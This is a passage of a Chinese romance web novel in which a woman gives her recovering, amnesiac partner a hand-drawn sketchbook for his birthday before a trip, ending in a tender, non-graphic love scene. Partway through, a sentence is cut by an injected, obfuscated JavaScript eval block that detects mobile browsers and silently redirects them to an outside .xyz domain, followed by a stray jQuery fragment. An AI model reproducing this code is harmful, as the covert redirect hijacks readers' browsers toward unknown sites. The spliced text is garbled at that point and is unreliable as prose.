林嘉言并没有太在意江令宸的反常。
越临近暂时分离，他的情绪越低落，这些她都是知道的。所以在给他过生日时，无论是吹蜡烛许愿，或是拿出一桌子他喜欢的菜，她充分理解他带着难过的表情。
“江，我出门的时候，你可千万不能像现在这样，吃两口饭就饱了。”林嘉言知道他并非不喜欢她做的菜，而恰恰是太喜欢了，所以夹起一筷子送进嘴里，心里又涌起难过。
她把碗筷收进厨房，按下他要帮忙的双手：“在我出门前得给你称称体重，本来就比车祸前瘦了不少，如果我出差的回来你但凡再瘦一点点，我就要跟你发脾气了。”
江令宸沉默，换林嘉言絮絮叨叨。
“江，把你今天的病历拿给我看，医生真的没说有什么问题吗？”
“我没事。”江令宸终于舍得开口，低头把手机上的电子病历打开，递给林嘉言。
刚冲干净手的林嘉言用擦手巾把双手的水擦干净，抬起手机时屏幕已经锁上了。她正想把手机还给江令宸输密码，突然想到他说过手机密码是她的生日，于是输入“0906”把手机解了锁。
江令宸没有说谎，病历里提到给他安排了脑部ct，检查结果显示脑部无任何病变，车祸残留的血块全部消失，头疼排除脑部损伤影响。
“医生说是我最近睡眠质量不太好，加上天气变化，有点感冒，所以有头疼表现。”
林嘉言点点头，把手机还回去之前，屏幕上弹出一条信息。那条微信是徐正东发来的，消息提示里只展示了两行：BOSS，言姐没问什么吧？我什么都没有跟她……
她忍不住点开消息提示，在跳转至对话框前，江令宸把手机抽了回去。
“我担心你胡思乱想，所以嘱咐正东不要跟你提我不舒服的事。”他解释道，“关于我的一切，我想亲口跟你说。”
“只要你身体没事，其他的我都不在乎。”
林嘉言想让心情低落的江令宸变得开心些，打起精神故作神秘地对他说道：“江，今天还少了一个环节，你没发现吗？”
“你为我做了一桌子菜，我们一起吃了生日蛋糕，这个生日虽然是提前过的，但我已经觉得很满足了，没觉得少了什么环节。”
“笨蛋！”林嘉言用手指轻轻推了推江令宸的额头，“谁过生日不收礼物啊，你真不想要我送的礼物吗！”
“诶？”
林嘉言从茶几下拿出几乎已经完工的画册，却不急着送给他。她上了楼进了书房，他紧紧跟在她的身后。
“江，你还记得上次你在院子里种玫瑰，看到我画的Q版四格漫画么？你让我把画册送给你，被我拒绝了。”林嘉言在她的专属书架前蹲下，打开了最下层的玻璃门，“这里一共有七本画册，从你对我说试试交往的第一天开始，我可以正大光明地画你，不知不觉画了那么多。”
江令宸也跟着蹲了下来，他以为林嘉言接下来会把她提到的七本画册当作三十岁生日礼物送给他，没想到她说完那番话之后把玻璃门关上了。
他疑惑地看向她。
“你失忆后，我意识到，我应该和你一起告别过去，重新开启我们的故事。”林嘉言拉着江令宸在书架前的地毯上坐下，翻开手中的画册，提笔在最后一张空白页上记录当前的故事。
她画过无数张他和她的Q版形象，早就烂熟于心，几乎不需要思考就把心中的故事记录在了纸上。
第一格漫画，Q版林嘉言偷偷给Q版江令宸准备了生日惊喜，烤蛋糕、做菜忙得不亦乐乎。她的表情有两面，对着他装作若无其事，以及背着他时开心又期待。
第二格漫画里，江令宸收到惊喜时笑容灿烂，林嘉言伸出手指做出“耶”的动作。
第三格漫画，林嘉言一边祝江令宸未来平安顺遂，一边问他有没有什么生日愿望。她向他承诺，会陪着他实现所有愿望。
林嘉言流畅地画下第四格漫画，两个Q版小人并排坐在一起看日出，围绕他们的有柴米油盐，也有琴棋书画。
她在右下角落下了日期，合起画册，郑重其事地递给了江令宸。
“这是送给你的生日礼物。这本画册的故事，从你醒来那天开始。”林嘉言站起身，弯腰在江令宸的额头上留下一吻。
她想起了这几天他的落寞，顺着礼物安慰道：“江，我们的故事还很长呢，这是第一本画册，未来还有第十本、第一百本、甚至第一千本……我这次出差，只去十五天，占故事很小很小的篇幅。你不要再因为这么短的分离而难过了，好不好？”
江令宸没回答，低头认真把这份生日礼物从到位看了一遍。
第一页的四格漫画讲述的是他醒来，她欣喜。接下去的每一页，她把他们相处的细节一一记录了下来，包括他的撒娇，他的小吃醋，他表达的爱意，以及他们在很多小事上的默契。
画册的封面重新编号，这一本的编号是1。
江令宸用指腹摸索着封面上的编号，眼睛看着的是封面上两个Q版小人手拉手，眼底流露出幸福。
他猛地站了起来，走到书桌前，拉开右手边倒数第二个抽屉——那里存放的是林嘉言在大学时期，往图书室的书籍里偷偷夹上的手绘书签。
江令宸把画册和书签活页收纳册叠放在一起，低头愣愣地看了它们一会儿。
“江，你喜欢这个礼物吗？”
他表现出的情绪实在不够清晰，让她有点摸不清他的想法。
“很喜欢。”江令宸的语气肯定，“这些书签是我偷偷收藏的你的作品，这本画册却是你主动送我的。言言，谢谢你，我很高兴你把这些作品送给我，让我可以光明正大地收藏。”
“别乱用我才用过的成语。”林嘉言笑道，“你什么时候不能光明正大地收藏我的画啦？”
她坐在他的对面，双手托腮：“所以收到礼物有没有开心一点？”
“收到礼物开心不止一点。”
“我听说平良镇上的少数民族女孩在过年时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061270|170576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会制作绣球，送给心上人当礼物。”林嘉言从不吝啬最直接的表白，“如果有机会，我学一学，缝两个绣球送给你当新年礼物吧？”
她伸出手握住他的：“江，半个月过得很快，我保证每天都抽时间给你打电话，你不要再担心了，好吗？”
“我会想念你，但不会担心更不会焦虑。”江令宸把林嘉言从椅子上拉了起来，双手握住她的双肩，“言言，你更喜欢现在的我，还是以前的我？”
“啊？”他的话题转移得有些突然，让林嘉言差点跟不上思路。
这个问题是江令宸失忆后最纠结也是最常提起的，现在林嘉言已经有了坚定的答案：“我很爱现在的江令宸。”
她知道他喜欢一遍遍确认她这么回答的理由：“现在的江令宸活泼开朗，喜欢跟我说很多话，喜欢黏在我的身边。现在的江令宸比从前更热情、更坦诚，让我感受到强烈的被爱。所以我很爱现在的江令宸，甚至比以前的爱更多。”
林嘉言确信，这个真诚的回答能够让他减少不安。
“好啦，医生不是说你需要好好休息么，我把你的睡衣拿过来，你先去洗漱……”她转身，被他拉了回来，“江，你怎么……”
还来不及开口，他低下头，急切地问上她的唇。
林嘉言觉察到江令宸的惶然，他似乎在用一种近乎疯狂的方式，感受她的体温，确认她的存在。
但她猜不透他为什么突然生出恐惧。
“江……”林嘉言的声音被吞没。他一开始分明想的是轻吻，却在两人触碰的瞬间变得失控。
她纵容他的热情，在他给她喘息的空间当中，细细回吻，温柔地放缓他的节奏。
“言言、言言……我好想你，言言……”江令宸紧紧抱着林嘉言，在她带领的节奏中，不急着宣泄自己，而是用尽全力让她获得满足。她是他要珍惜一辈子的对象，也是他的一切思念的根源。
江令宸的动作温柔又充满情｜欲，他的过去和现在在林嘉言的眼前交织，竟让她一下子分不清眼前这个人到底在哪个时空上。
温柔源于过去，热情则属于现在。
这个江令宸，对她有迫不及待的热情，有怜惜的温柔，更有像对待世上最珍贵的宝物那样的小心翼翼。
林嘉言仿佛置身海面，不断随波起伏，唯一的锚点只有江令宸一个，他却又像个捣蛋的孩子一般，让她不断起锚，堆栈的欢愉一波高过一波。
当她攀附他时，他又变成了沉稳的依靠，无条件收纳她的无助。
“言言，别离开我，求你，别离开我……”他一边边低喃，“我真的好想你，好想好想……”
林嘉言伸出手，竟在他的眼角摸到可疑的液体。
她轻轻将它们拭去。
“江，我在，我一直都在。”
她的回应让江令宸变得心安。他搂紧她，他们之间再无可以介入的缝隙。
他迎向她，让自己沉溺在她的温暖中，将两人推向最后的极致。